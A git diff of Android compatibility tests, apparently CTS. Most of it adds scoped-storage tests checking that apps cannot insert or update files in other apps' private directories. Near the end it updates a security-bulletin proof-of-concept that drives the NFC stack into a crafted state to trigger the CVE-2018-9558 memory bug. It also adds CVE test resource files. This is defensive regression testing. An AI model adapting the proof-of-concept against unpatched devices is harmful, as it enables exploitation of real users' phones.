diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index e4d3541..5638e41 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -111,6 +111,46 @@
     }
 
     @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasRW() throws Exception {
+        runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasRW");
+    }
+
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasRW() throws Exception {
+        runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasRW");
+    }
+
+    @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasMES() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasMES");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasMES() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasMES");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+        runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery");
+    }
+
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+        runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery");
+    }
+
+    @Test
     public void testMkdirInRandomPlaces_hasW() throws Exception {
         revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
         executeShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770");
@@ -219,6 +259,15 @@
         runDeviceTest("testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates");
     }
 
+    /**
+     * (b/205673506): Test that legacy System Gallery can update() media file's releative_path to a
+     * non default top level directory.
+     */
+    @Test
+    public void testLegacySystemGalleryCanUpdateToExistingDirectory() throws Exception {
+        runDeviceTest("testLegacySystemGalleryCanUpdateToExistingDirectory");
+    }
+
     @Test
     public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
@@ -254,4 +303,18 @@
     public void testUpdateToExternalDirsViaRelativePath() throws Exception {
         runDeviceTest("testUpdateToExternalDirsViaRelativePath");
     }
+
+    private void allowAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts.legacy "
+                    + op + " allow");
+        }
+    }
+
+    private void denyAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts.legacy "
+                    + op + " deny");
+        }
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index d31bc33..cd9378d 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -125,6 +125,26 @@
     }
 
     @Test
+    public void testManageExternalStorageCantInsertFilesInOtherAppPrivateDir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCantInsertFilesInOtherAppPrivateDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
     public void testCheckInstallerAppAccessToObbDirs() throws Exception {
         allowAppOps("android:request_install_packages");
         grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
diff --git a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
index c602f0a..c85b090 100644
--- a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
@@ -20,6 +20,7 @@
     <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application  android:requestLegacyExternalStorage="true" >
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index fd83a2e..07383ac 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -23,7 +23,9 @@
 import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
@@ -31,6 +33,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
@@ -38,6 +41,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
@@ -46,8 +50,10 @@
 import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
+import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
 import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
 import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
@@ -61,6 +67,7 @@
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
@@ -128,12 +135,14 @@
      * test runs.
      */
     static final String NONCE = String.valueOf(System.nanoTime());
-    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
+    static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
 
     static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
     static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
 
+    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
+
     // The following apps are installed before the tests are run via a target_preparer.
     // See test config for details.
     // An app with READ_EXTERNAL_STORAGE permission
@@ -343,7 +352,7 @@
         try {
             assertThat(newDir.mkdir()).isFalse();
         } finally {
-            newDir.delete();
+            deleteRecursively(newDir);
         }
     }
 
@@ -428,8 +437,8 @@
 
             pdfFile1.delete();
             pdfFile2.delete();
-            nonMediaDir1.delete();
-            nonMediaDir2.delete();
+            deleteRecursively(nonMediaDir1);
+            deleteRecursively(nonMediaDir2);
         }
     }
 
@@ -540,8 +549,8 @@
             // UNIQUE constraint error.
             TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath);
         } finally {
-            directoryOldPath.delete();
-            directoryNewPath.delete();
+            deleteRecursively(directoryOldPath);
+            deleteRecursively(directoryNewPath);
         }
     }
 
@@ -717,7 +726,7 @@
             imageInNoMediaDir.delete();
             renamedImageInDCIM.delete();
             noMediaFile.delete();
-            directoryNoMedia.delete();
+            deleteRecursively(directoryNoMedia);
         }
     }
 
@@ -871,6 +880,41 @@
         }
     }
 
+    /**
+     * (b/205673506): Test that legacy System Gallery can update() media file's releative_path to a
+     * non default top level directory.
+     */
+    @Test
+    public void testLegacySystemGalleryCanUpdateToExistingDirectory() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        // Top level non default directory
+        final File topLevelTestDirectory = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+        final File imageFileInTopLevelDir = new File(topLevelTestDirectory, IMAGE_FILE_NAME);
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+            final Uri imageUri = MediaStore.scanFile(getContentResolver(), imageFile);
+            assertThat(imageUri).isNotNull();
+
+            topLevelTestDirectory.mkdirs();
+            assertThat(topLevelTestDirectory.exists()).isTrue();
+
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH, topLevelTestDirectory.getName());
+            final int result = getContentResolver().update(imageUri, values, Bundle.EMPTY);
+            assertWithMessage("Result of update() from DCIM -> top level test directory")
+                    .that(result).isEqualTo(1);
+            assertThat(imageFileInTopLevelDir.exists()).isTrue();
+        } finally {
+            imageFile.delete();
+            imageFileInTopLevelDir.delete();
+            deleteRecursively(topLevelTestDirectory);
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
     @Test
     public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
@@ -958,6 +1002,82 @@
     }
 
     /**
+     * Tests that legacy apps cannot insert in other app private directory
+     */
+    @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasRW() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /* granted */ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /* granted */ true);
+
+        assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+    }
+
+    /**
+     * Tests that legacy apps cannot update in other app private directory
+     */
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasRW() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /* granted */ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /* granted */ true);
+
+        TestUtils.assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+    }
+
+    /**
+     * Tests that legacy apps with MANAGE_EXTERNAL_STORAGE cannot insert in other app private
+     * directory
+     */
+    @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasMES() throws Exception {
+        pollForManageExternalStorageAllowed();
+        assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+    }
+
+    /**
+     * Tests that legacy apps with MANAGE_EXTERNAL_STORAGE cannot update in other app private
+     * directory
+     */
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasMES() throws Exception {
+        pollForManageExternalStorageAllowed();
+        assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+    }
+
+    /**
+     * Tests that legacy System Gallery apps cannot insert in other app private directory
+     */
+    @Test
+    public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                    /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Tests that legacy System Gallery apps cannot update in other app private directory
+     */
+    @Test
+    public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                    /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
      * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
      */
     @Test
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 3068332..a04b86f 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -16,6 +16,7 @@
 
 package android.scopedstorage.cts.lib;
 
+import static android.provider.MediaStore.VOLUME_EXTERNAL;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
 
 import static androidx.test.InstrumentationRegistry.getContext;
@@ -98,6 +99,7 @@
     public static final String CREATE_IMAGE_ENTRY_QUERY =
             "android.scopedstorage.cts.createimageentry";
     public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
+    public static final String DELETE_RECURSIVE_QUERY = "android.scopedstorage.cts.deleteRecursive";
     public static final String CAN_OPEN_FILE_FOR_READ_QUERY =
             "android.scopedstorage.cts.can_openfile_read";
     public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY =
@@ -295,6 +297,17 @@
     }
 
     /**
+     * Makes the given {@code testApp} delete a file or directory.
+     * If the file is a directory, then deletes all of its children (file or directories)
+     * recursively.
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static boolean deleteRecursivelyAs(TestApp testApp, String path) throws Exception {
+        return getResultFromTestApp(testApp, path, DELETE_RECURSIVE_QUERY);
+    }
+
+    /**
      * Makes the given {@code testApp} delete a file. Doesn't throw in case of failure.
      */
     public static boolean deleteFileAsNoThrow(TestApp testApp, String path) {
@@ -950,6 +963,111 @@
     }
 
     /**
+     * Assert that app cannot insert files in other app's private directories
+     *
+     * @param fileName name of the file
+     * @param throwsExceptionForDataValue Apps like System Gallery for which Data column is not
+     * respected, will not throw an Exception as the Data value is ignored.
+     * @param otherApp Other test app in whose external private directory we will attempt to insert
+     * @param callingPackageName Calling package name
+     */
+    public static void assertCantInsertToOtherPrivateAppDirectories(String fileName,
+            boolean throwsExceptionForDataValue, TestApp otherApp, String callingPackageName)
+            throws Exception {
+        // Create directory in which the device test will try to insert file to
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                callingPackageName, otherApp.getPackageName()));
+        final File file = new File(otherAppExternalDataDir, fileName);
+        try {
+            assertThat(createFileAs(otherApp, file.getPath())).isTrue();
+
+            final ContentValues valuesWithData = new ContentValues();
+            valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
+            try {
+                Uri uri = getContentResolver().insert(
+                        MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+                        valuesWithData);
+
+                if (throwsExceptionForDataValue) {
+                    fail("File insert expected to fail: " + file);
+                } else {
+                    try (Cursor c = getContentResolver().query(uri, new String[]{
+                            MediaStore.MediaColumns.DATA}, null, null)) {
+                        assertThat(c.moveToFirst()).isTrue();
+                        assertThat(c.getString(0)).isNotEqualTo(file.getAbsolutePath());
+                    }
+                }
+            } catch (IllegalArgumentException expected) {
+            }
+
+            final ContentValues valuesWithRelativePath = new ContentValues();
+            final String path = file.getAbsolutePath();
+            valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    path.substring(path.indexOf("Android")));
+            valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName);
+            try {
+                getContentResolver().insert(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+                        valuesWithRelativePath);
+                fail("File insert expected to fail: " + file);
+            } catch (IllegalArgumentException expected) {
+            }
+        } finally {
+            deleteFileAsNoThrow(otherApp, file.getPath());
+        }
+    }
+
+    /**
+     * Assert that app cannot update files in other app's private directories
+     *
+     * @param fileName name of the file
+     * @param throwsExceptionForDataValue Apps like non-legacy System Gallery/MES for which
+     * Data column is not respected, will not throw an Exception as the Data value is ignored.
+     * @param otherApp Other test app in whose external private directory we will attempt to insert
+     * @param callingPackageName Calling package name
+     */
+    public static void assertCantUpdateToOtherPrivateAppDirectories(String fileName,
+            boolean throwsExceptionForDataValue, TestApp otherApp, String callingPackageName)
+            throws Exception {
+        // Create priv-app file and add to the database that we will try to update
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                callingPackageName, otherApp.getPackageName()));
+        final File file = new File(otherAppExternalDataDir, fileName);
+        try {
+            assertThat(createFileAs(otherApp, file.getPath())).isTrue();
+            MediaStore.scanFile(getContentResolver(), file);
+
+            final ContentValues valuesWithData = new ContentValues();
+            valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
+            try {
+                int res = getContentResolver().update(
+                        MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+                        valuesWithData, Bundle.EMPTY);
+
+                if (throwsExceptionForDataValue) {
+                    fail("File update expected to fail: " + file);
+                } else {
+                    assertThat(res).isEqualTo(0);
+                }
+            } catch (IllegalArgumentException expected) {
+            }
+
+            final ContentValues valuesWithRelativePath = new ContentValues();
+            final String path = file.getAbsolutePath();
+            valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    path.substring(path.indexOf("Android")));
+            valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName);
+            try {
+                getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+                        valuesWithRelativePath, Bundle.EMPTY);
+                fail("File update expected to fail: " + file);
+            } catch (IllegalArgumentException expected) {
+            }
+        } finally {
+            deleteFileAsNoThrow(otherApp, file.getPath());
+        }
+    }
+
+    /**
      * Asserts can rename directory.
      */
     public static void assertCanRenameDirectory(File oldDirectory, File newDirectory,
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 814f1a2..ebc8f10 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -21,6 +21,8 @@
 import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidDataDir;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidObbDir;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
@@ -30,6 +32,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
 import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
@@ -142,7 +145,7 @@
             "CtsScopedStorageTestAppB.apk");
     // A legacy targeting app with RES and WES permissions
     private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
-            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
 
     @Before
     public void setup() throws Exception {
@@ -228,6 +231,28 @@
                 });
     }
 
+    /**
+     * Tests that apps with MANAGE_EXTERNAL_STORAGE permission cannot insert files in other app's
+     * private directories.
+     */
+    @Test
+    public void testManageExternalStorageCantInsertFilesInOtherAppPrivateDir() throws Exception {
+        pollForManageExternalStorageAllowed();
+        assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                /* throwsExceptionForDataValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+    }
+
+    /**
+     * Tests that apps with MANAGE_EXTERNAL_STORAGE permission cannot update files in other app's
+     * private directories.
+     */
+    @Test
+    public void testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir() throws Exception {
+        pollForManageExternalStorageAllowed();
+        assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+                /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+    }
+
     @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
         pollForManageExternalStorageAllowed();
@@ -305,7 +330,8 @@
             final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
                     THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
             final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
-            final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
+            final File otherAppExternalDataFile =
+                    new File(otherAppExternalDataSubDir, IMAGE_FILE_NAME);
             assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
                     .isTrue();
 
@@ -495,7 +521,7 @@
             nomediaFile.delete();
             mediaFile.delete();
             renamedMediaFile.delete();
-            nomediaDir.delete();
+            deleteRecursively(nomediaDir);
         }
     }
 
@@ -532,8 +558,8 @@
             mediaFile1InSubDir.delete();
             mediaFile2InSubDir.delete();
             topLevelNomediaFile.delete();
-            nomediaSubDir.delete();
-            nomediaDir.delete();
+            deleteRecursively(nomediaSubDir);
+            deleteRecursively(nomediaDir);
             // Scan the directory to remove stale db rows.
             MediaStore.scanFile(getContentResolver(), nomediaDir);
         }
@@ -880,8 +906,8 @@
             imageFile.delete();
             renamedImageFile.delete();
             imageFileInRenamedDir.delete();
-            dir.delete();
-            renamedDir.delete();
+            deleteRecursively(dir);
+            deleteRecursively(renamedDir);
         }
     }
 
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7..7770ebd 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@
     ],
     // Must match the package name in CtsTestCaseList.mk
     libs: [
-        "cts-tradefed",
-        "tradefed",
         "compatibility-host-util",
+        "cts-tradefed",
+        "sts-host-util",
+        "tradefed",
     ],
 }
 
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 0000000..d03c246
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 0000000..21f7d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f2..e750829 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -20,6 +20,16 @@
 #include <nfc_api.h>
 #include <rw_int.h>
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 #define INITIAL_VALUE 0xBE
 #define NUM_BYTES 1
 
@@ -33,18 +43,31 @@
 }
 
 int main() {
-  tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
-  rw_init();
-  rw_cb.p_cback = &poc_cback;
-  p_t2t->state = RW_T2T_STATE_DETECT_TLV;
-  p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
-  p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
-  p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
-  p_t2t->bytes_count = NUM_BYTES;
-  p_t2t->tlv_value[1] = UINT8_MAX;
-  uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
-  memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
-  uint8_t data[T2T_READ_DATA_LEN];
-  rw_t2t_handle_rsp(data);
-  return EXIT_SUCCESS;
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    rw_init();
+    rw_cb.p_cback = &poc_cback;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = NUM_BYTES;
+    p_t2t->tlv_value[1] = UINT8_MAX;
+    uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+    memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+    uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
+    rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
similarity index 66%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index 2c9502b..78f51bd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -15,33 +15,28 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
-    name: "CVE-2021-0684",
+    name: "CVE-2019-2012",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
